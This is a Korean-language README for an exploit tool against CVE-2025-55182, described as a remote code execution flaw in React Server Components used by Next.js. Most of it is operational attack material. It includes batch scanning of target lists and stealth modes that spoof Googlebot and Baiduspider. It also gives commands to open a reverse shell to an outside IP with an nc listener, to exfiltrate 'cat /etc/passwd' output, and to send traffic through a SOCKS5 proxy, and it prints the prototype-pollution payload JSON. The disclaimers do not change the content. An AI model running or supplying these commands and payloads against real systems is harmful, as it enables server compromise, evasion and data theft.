
CVE-2025-55182 React 서버 컴포넌트 원격 코드 실행 익스플로잇 도구
CVE-2025-55182는 App Router와 Server Actions를 사용하는 Next.js 애플리케이션에 영향을 주는 React Server Components(RSC)의 치명적인 원격 코드 실행(RCE) 취약점입니다.
이 취약점은 Flight 프로토콜 역직렬화 과정에 존재하며, 공격자가 프로토타입 오염(prototype pollution)을 통해 임의 코드 실행을 달성할 수 있게 합니다.
승인된 보안 테스트 전용
이 도구는 교육 및 승인된 침투 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 이 도구의 불법 또는 무단 사용에 대한 책임은 전적으로 사용자에게 있습니다. 저자는 어떠한 책임도 지지 않습니다.
이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용할 수 있습니다. 위반 또는 불법 행위로 인한 모든 결과는 전적으로 사용자가 부담하며, 작성자와는 무관합니다.
이 도구를 사용하기 전에 전체 DISCLAIMER.md를 읽어 주세요.
이 도구를 사용함으로써 다음 사항에 동의하게 됩니다:
| 구성 요소 | 영향을 받는 버전 |
|---|---|
react-server-dom-webpack | 19.0.0 - 19.2.0 |
| Next.js | 15.x, 16.x (App Router + Server Actions) |
# Clone the repository
git clone https://github.com/Spritualkb/CVE-2025-55182-exp.git
cd CVE-2025-55182-exp
# Install dependencies
pip install requests
pip install requests[socks] # For SOCKS5 proxy support
python3 exploit.py http://target:3000 --check
# Basic batch scan
python3 exploit.py -f targets.txt --check
# With stealth mode and delay
python3 exploit.py -f targets.txt --check --stealth crawler --delay 2
# Save vulnerable targets to file
python3 exploit.py -f targets.txt --check -o vulnerable.txt
python3 exploit.py http://target:3000 -c "id"
# Start listener first
nc -lvnp 4444
# Execute reverse shell
python3 exploit.py http://target:3000 --revshell 10.0.0.1 4444
# Start listener
nc -lvnp 4444
# Execute and exfiltrate output
python3 exploit.py http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
python3 exploit.py http://target:3000 --check --proxy socks5://127.0.0.1:1080
| 모드 | 설명 |
|---|---|
browser | 실제 브라우저 요청을 모방 (기본값) |
crawler | 검색 엔진 크롤러를 모방 (Googlebot, Baiduspider 등) |
security | 보안 스캐너 User-Agent 사용 |
이 익스플로잇은 Flight 프로토콜 역직렬화 과정의 프로토타입 오염을 활용합니다:
"$1:__proto__:then"을 통해 Object.prototype.then을 오염시킵니다"$1:constructor:constructor"를 통해 _formData.get을 Function 생성자로 설정합니다Function()에 전달되는 _prefix를 통해 악성 코드를 주입합니다{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "<malicious_code>",
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
}
CVE-2025-55182-exp/
├── exploit.py # Main exploit script
├── targets.txt # Target URLs list (one per line)
└── README.md # This file
# Comments start with #
http://target1.com:3000
https://target2.com
target3.com:3000
react-server-dom-webpack 및 Next.js의 최신 패치 버전으로 업데이트하십시오이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 - 자세한 내용은 LICENSE 파일을 참조하십시오.
이 소프트웨어를 다운로드, 복사, 설치 또는 사용함으로써 귀하는 본 면책 조항의 조건에 구속되는 것에 동의합니다.
이 도구는 오직 다음 용도로만 설계되었습니다:
이 도구를 다음 용도로 사용해서는 안 됩니다:
본 소프트웨어는 명시적이든 묵시적이든 어떠한 종류의 보증 없이 "있는 그대로"(AS IS) 제공됩니다. 저자는 다음을 포함하되 이에 국한되지 않는 모든 보증을 부인합니다:
어떠한 경우에도 저자는 다음에 대해 책임을 지지 않습니다:
사용자는 다음에 대해 전적인 책임을 집니다:
이 도구를 사용함으로써 다음 사항을 인정합니다:
본 소프트웨어를 다운로드, 복사, 설치 또는 사용하면 본 면책 조항의 조건에 구속되는 것에 동의하는 것으로 간주됩니다.
이 도구는 다음 용도로만 사용됩니다:
이 도구를 다음 용도로 사용할 수 없습니다:
본 소프트웨어는 "있는 그대로" 제공되며, 명시적 또는 묵시적 보증이 제공되지 않습니다. 저자는 다음을 포함하되 이에 국한되지 않는 모든 보증을 부인합니다:
어떠한 경우에도 저자는 다음의 경우에 대해 책임을 지지 않습니다:
사용자는 다음 사항에 대해 모든 책임을 집니다:
이 도구를 사용하면 다음 사항을 확인하는 것으로 간주됩니다:
보안 테스트를 수행하기 전에 반드시:
보안 테스트를 수행하기 전에 반드시:
⚠️ 승인되지 않은 컴퓨터 접근은 불법 행위입니다 ⚠️
⚠️ 승인되지 않은 컴퓨터 접근은 범죄 행위입니다 ⚠️
| 옵션 | 설명 |
|---|
target | 대상 URL (예: http://localhost:3000) |
-f, --file | 대상 URL이 포함된 파일 (줄당 하나) |
-o, --output | 취약한 대상을 저장할 출력 파일 |
-c, --command | 실행할 명령 (blind) |
--check | 취약점 여부 확인 |
--proxy | SOCKS5 프록시 (예: socks5://127.0.0.1:1080) |
--stealth | 스텔스 모드: browser, crawler, security |
--delay | 요청 간 지연 시간 (초) |
--variants | 철저한 확인을 위해 여러 페이로드 변형 사용 |
--revshell IP PORT | IP:PORT로 리버스 셸 연결 |
--exfil CMD IP PORT | CMD를 실행하고 출력을 IP:PORT로 POST 전송 |
-t, --timeout | 요청 제한 시간(초) (기본값: 15) |